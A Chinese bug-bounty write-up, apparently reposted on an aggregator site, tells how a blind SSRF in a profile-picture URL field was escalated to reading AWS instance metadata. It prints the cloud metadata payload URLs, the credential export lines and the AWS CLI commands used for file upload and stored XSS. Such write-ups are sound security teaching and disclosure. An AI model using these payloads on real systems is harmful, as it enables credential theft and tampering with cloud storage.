从低危Blind SSRF到严重漏洞

news/2025/1/10 9:21:14/

 视频教程在我主页简介或专栏里

SSRF简介

服务器端请求伪造(SSRF)是一种Web安全漏洞,它允许攻击者使服务器端应用程序向非预期的位置发送请求。这可能导致攻击者迫使服务器连接到组织内部基础设施中仅限内部访问的服务。在其他情况下,他们可能强迫服务器连接到任意的外部系统。这可能泄露敏感数据,例如授权凭据。

图片

Blind SSRF简介

Blind SSRF 漏洞的出现是由于应用程序被诱导向提供的 URL 发出后端 HTTP 请求,但后端请求的响应不会在应用程序的前端响应中返回。

现在我们知道了 SSRF 和Blind SSRF 之间的区别,让我们来看看我的案例……

假设我们有一个漏洞域名 redacted.com

我注册并创建了一个新账户。在访问 https://redacted.com/profile 后,我发现有两种上传图片的选项:

1.从电脑上传文件

2.使用 Facebook 个人资料图片

我尝试了第一个选项(从电脑上传文件),并注意到我的图片有一个公开可访问的 URL。在上传图片后,系统提示消息:“您的账户详情已成功更新。”

图片

我发现该图片存储在一个 Amazon S3 存储桶中,并具有不可预测的 URL,这使我可以在没有任何访问限制的情况下访问图片。

<img src="[redacted].s3.region.amazonaws.com/[random_hash].jpeg">

图片

在我访问该 URL 之后

图片

看起来后端处理了图片上传,并将其存储在一个具有公开访问 URL 的 Amazon S3 存储桶中。

在测试了该功能后, 我并未发现任何有趣的东西,除了这一点。于是,我转向了第二个选项(使用 Facebook 头像)。但首先,你需要将你的 Facebook 账户与平台账户连接。

在连接了我的 Facebook 账户后,我点击了第二个选项并拦截了请求。我看到一个新的参数叫 profile_picture_url。请求内容是...

POST /profile HTTP/2Host: account.redacted.comContent-Type: multipart/form-data; boundary=-------------------------- -154478894334976744053178475009-----------------------------154478894334976744053178475009Content-Disposition: form-data; name="first_name"
Attacker-----------------------------154478894334976744053178475009Content-Disposition: form-data; name="last_name"
Attacker-----------------------------154478894334976744053178475009Content-Disposition: form-data; name="profile_picture_url"
https://scontent.fcai19-12.fna.fbcdn.net/v/t39.30808-1/465664427_1119561922865378_4789856880901123456_n.jpg-----------------------------154478894334976744053178475009

响应内容如下:

{"your account details were successfully updated"}

查看源代码后,我发现图片的来源更改为 S3 存储桶中的另一个哈希文件:

<img src="[redacted].s3.region.amazonaws.com/[Different_Random_Hash].jpeg">

接着,我将该请求添加到 Repeater 中,尝试测试 profile_picture_url 参数。

首先,我添加了我的协作平台链接以检查是否存在 Blind SSRF 漏洞。

图片

然后,我发现了一个惊喜……

图片

我收到了来自服务器的 HTTP 和 DNS 交互,因此我立刻访问了 ipinfo.io 以收集有关该 IP 地址的信息,并注意到它来自一个 Amazon AWS 的主机名。

图片

现在我们发现了一个Blind SSRF,我们可以将其视为信息型/低危漏洞,因为我无法执行内部端口扫描或在没有更多信息的情况下利用它。我只收到响应“您的账户详情已成功更新”,而没有任何额外数据。

然而,根据我在测试第一个选项时记录的笔记——“后端处理了图片上传,并将其存储在 <img> 标签中的 Amazon S3 存储桶内”——

我访问了 https://redacted.com/profile,查看了源代码,并发现了一些不同之处。它将其保存为一个 HTML 文件。

图片

访问该 URL 后,我看到了奇迹……

我的协作平台主机的内容竟然出现在了那里!

图片

这意味着我可以发起内部请求并获取公司 S3 桶中公开保存的数据,而且可以毫无问题地访问这些数据。

由于主机位于 AWS EC2 环境中,我可以注入我的有效载荷 “http://169.254.169.254/latest/meta-data/iam/security-credentials/”以检索 IAM 用户凭证。

图片

在访问 <img> 标签中的 URL 后

图片

在获得用户后,我们可以注入有效负载来窃取 IAM 用户凭证。

"http://169.254.169.254/latest/meta-data/iam/security-credentials/"

图片

图像标签中的 URL 是一个 JSON 端点,点我点击后

图片

现在我们能够窃取凭证了 :)

我联系了我的朋友进行合作,帮助寻找更多包含敏感信息的端点,我们一起发现了很多这样的端点。

“http://169.254.169.254/latest/dynamic/instance-identity/document”

图片

我们能够提取所有这些端点。​​​​​​​

http://169.254.169.254/latest/meta-data/block-device-mapping/http://169.254.169.254/latest/meta-data/security-groupshttp://169.254.169.254/latest/dynamic/instance-identity/documenthttp://169.254.169.254/latest/meta-data/iam/infohttp://169.254.169.254/latest/meta-data/machttp://169.254.169.254/latest/meta-data/public-keys/0/openssh-keyhttp://169.254.169.254/latest/dynamic/instance-identity/signaturehttp://169.254.169.254/latest/dynamic/instance-identity/pkcs7http://169.254.169.254/latest/dynamic/instance-identity/rsa2048

下一步是专注于访问S3桶,并尝试将其升级为RCE(远程代码执行)或识别任何其他漏洞。

使用凭据访问AWS​​​​​​​

export AWS_ACCESS_KEY_ID= [Your_Access_Key]export AWS_SECRET_ACCESS_KEY= [SecretKey]export AWS_SESSION_TOKEN= [Token]export AWS_DEFAULT_REGION= [Region]

我们尝试了“get-caller-identity”命令,以返回用于调用该操作的IAM用户或角色的详细信息。

aws sts get-caller-identity

图片

我们尝试了命令来获取该桶中上传的文件列表。

aws s3 ls s3://<bucket's_name>

我们得到了“权限拒绝”的响应。

我们尝试了几个命令,但不幸的是得到了相同的禁止结果(“权限拒绝”),似乎IAM用户的权限较低。我们还尝试了使用命令上传文件。​​​​​​​

echo "POC By Drakenkun & Bedo" > POC.txtaws s3 CP POC.txt s3://<bucket's_name>

图片

访问 URL “https://[redacted].s3.region.amazonaws.com/POC.txt” 后

图片

我们尝试上传一个简单的 HTML 文件,其中包含通过 JavaScript 显示警告消息的代码。

图片

现在我们成功实现了存储型 XSS。 :)

此外,我们还发现我们拥有“删除”权限,允许我们从 S3 存储桶中删除任何内容。

该平台的商业模型使用户能够创建 POST 请求,公开出售或出租物品。平台上的每个图像,包括个人资料照片,都存储在该 S3 存储桶中,这使我们能够修改或删除它们。

最后,我们将报告提交给 YesWeHack 平台,平台接受了这个作为一个关键漏洞,并给予了我们丰厚的奖励 (€€€€)。

 

 视频教程在我主页简介或专栏里

申明:本账号所分享内容仅用于网络安全技术讨论,切勿用于违法途径,所有渗透都需获取授权,违者后果自行承担,与本号及作者无关

 


http://www.ppmy.cn/news/1561953.html

相关文章

Maven核心与单元测试

目录 一. Maven概述二. IDEA集成Maven2.1 创建Maven项目2.2 Maven坐标2.3 导入Maven项目 三. 依赖管理四. Maven的生命周期五. 单元测试5.1 快速入门5.2 断言5.3 常见注解5.4 依赖范围 六. Maven常见问题 \quad 一. Maven概述 \quad \quad 二. IDEA集成Maven \quad 2.1 创建Mav…

python无需验证码免登录12306抢票 --selenium(2)

提示&#xff1a;文章写完后&#xff0c;目录可以自动生成&#xff0c;如何生成可参考右边的帮助文档 [TOC](python无需验证码免登录12306抢票 --selenium(2)) 前言 提示&#xff1a;这里可以添加本文要记录的大概内容&#xff1a; 就在刚刚我抢的票&#xff1a;2025年1月8日…

游戏引擎学习第75天

仓库:https://gitee.com/mrxiao_com/2d_game_2 Blackboard: 处理楼梯通行 为了实现楼梯的平滑过渡和角色的移动控制&#xff0c;需要对楼梯区域的碰撞与玩家的运动方式进行优化。具体的处理方式和遇到的问题如下&#xff1a; 楼梯区域的过渡&#xff1a; 在三维空间中&#x…

ubuntu设置开机无需输入密码自启动todesk

1.进入/etc/init.d/目录 cd /etc/init.d/ 2.新建一个自定义名称的sh脚本&#xff0c;这里以 start_todesk 名称为例建立一个 start_todesk.sh 的脚本 sudo vim start_todesk.sh3.将以下内容写入 ### BEGIN INIT INFO # Provides: svnd.sh # Required-start: $lo…

VBA之Word应用第三章第五节:文档Document对象的属性(二)

《VBA之Word应用》&#xff08;版权10178982&#xff09;&#xff0c;是我推出第八套教程&#xff0c;教程是专门讲解VBA在Word中的应用&#xff0c;围绕“面向对象编程”讲解&#xff0c;首先让大家认识Word中VBA的对象&#xff0c;以及对象的属性、方法&#xff0c;然后通过实…

vue之element-ui文件上传(二)

一、点击上传&#xff0c;使用默认的action上传&#xff0c;添加校验&#xff0c;上传成功后&#xff0c;去除校验&#xff1a; <el-form-item label"文件md5" prop"fileMd5"><el-uploadv-if"!form.fileMd5"v-model"form.fileMd5&…

如何制作一份出色的公司介绍PPT?

制作一份公司介绍的PPT需要精心设计&#xff0c;以确保内容既专业又吸引人。以下是一个基本的框架和一些建议&#xff0c;帮助您创建一份有效的公司介绍PPT&#xff1a; PPT标题页 标题&#xff1a;公司全称&#xff08;可使用公司Logo作为背景或嵌入标题中&#xff09;副标题…

记一次k8s下容器启动失败,容器无日志问题排查

问题 背景 本地开发时&#xff0c;某应用增加logback-spring.xml配置文件&#xff0c;加入必要的依赖&#xff1a; <dependency><groupId>net.logstash.logback</groupId><artifactId>logstash-logback-encoder</artifactId><version>8…